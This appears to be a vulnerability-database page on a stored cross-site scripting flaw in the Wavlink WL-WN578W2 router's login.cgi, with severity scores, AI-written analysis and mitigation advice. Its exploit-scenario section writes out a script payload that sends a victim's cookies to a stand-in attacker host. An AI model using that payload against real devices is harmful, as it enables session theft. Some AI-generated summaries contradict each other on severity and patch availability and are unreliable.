EUVD-2026-14297
GHSA-jg8g-rwpf-2m3j
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | Despite the low CVSS score of 2.4, this vulnerability carries moderate real-world risk when contextual factors are considered. The CVSS vector (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N) indicates Network access (AV:N) with Low complexity (AC:L), but High privilege requirement (PR:H) and User interaction (UI:R), which explains the low base score. However, the Proof of Concept Maturity (E:P) and Reasonable confidence (RC:R) indicate active exploitation potential. The real risk depends on deployment context: in home networks where administrators might reuse credentials or in enterprise environments with multiple managed routers, an authenticated admin could be tricked into visiting a malicious page that modifies settings across devices. The lack of vendor response (RL:X) significantly elevates concern, as no patch timeline exists. This is NOT a low-priority issue despite the CVSS score—it represents unpatched, known-exploitable code in security-critical network infrastructure that may persist for years in the field. |
| Exploit ScenarioDerived | An attacker with admin credentials (or who has compromised an admin account via phishing) crafts a POST request to /cgi-bin/login.cgi with a malicious payload in the homepage or login_page parameter, such as homepage=<script>fetch('https://attacker.com/steal?cookies='+document.cookie)</script>. If a second admin user later accesses the router's web interface, the injected script executes in their browser, exfiltrating session cookies or authentication tokens. Since a publicly available proof-of-concept exists on GitHub, the barrier to exploitation is low for any attacker with knowledge of Wavlink's admin panel. |
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Alert meAnalysisAIv1 – Mar 22, 2026
A Stored/Reflected Cross-Site Scripting (XSS) vulnerability exists in the Wavlink WL-WN578W2 wireless router (firmware version 221110 and potentially others) within the POST request handler of /cgi-bin/login.cgi. An attacker with high privileges can manipulate the homepage, hostname, or login_page parameters to inject malicious JavaScript that executes in the context of other users' browsers. A proof-of-concept has been publicly disclosed on GitHub, and the vendor has not responded to early disclosure notifications, leaving affected devices unpatched.
RemediationAI
No official patch is available from Wavlink at this time due to the vendor's lack of response to disclosure. Immediate mitigation steps include: (1) Restrict administrative access to the router's web interface by implementing network-level access controls (firewall rules limiting access to trusted subnets only); (2) Disable web management of the device if not actively required, or enforce access via a VPN; (3) Change default admin credentials to strong, unique passwords and avoid reusing credentials across multiple routers; (4) Consider replacing the affected router with a model from a vendor with an active security response program. Monitor Wavlink's support channels and VulDB (https://vuldb.com/?id.352361) for any future security updates. For organizations managing multiple WL-WN578W2 devices, document the vulnerability in your asset inventory and escalate to procurement to plan hardware replacement.
Affected VersionsENISA
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Technical ContextAI · show details
The vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation, also known as Cross-site Scripting), indicating insufficient input validation and output encoding in the login.cgi component. The Wavlink WL-WN578W2 (identified via CPE cpe:2.3:a:wavlink:wl-wn578w2) is a wireless router that processes user-supplied parameters (homepage, hostname, login_page) in POST requests to /cgi-bin/login.cgi without properly sanitizing or HTML-encoding them before rendering them in HTTP responses. This allows an attacker to break out of the intended HTML context and inject arbitrary script tags that execute with the privileges of the authenticated session.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionCVE.org
A vulnerability was determined in Wavlink WL-WN578W2 221110. This affects an unknown function of the file /cgi-bin/login.cgi of the component POST Request Handler. Executing a manipulation of the argument homepage/hostname/login_page can lead to cross site scripting. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
Executive ViewAI
CVE-2026-4544 is a low-severity vulnerability in A vulnerability involving cross-site scripting (CVSS 2.4). The limited severity suggests constrained impact, typically requiring specific conditions or local access for exploitation. Apply vendor updates when available as part of routine maintenance.
Apply vendor patch during routine maintenance. Standard cross-site scripting mitigations apply if patching is delayed.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Exploit-DB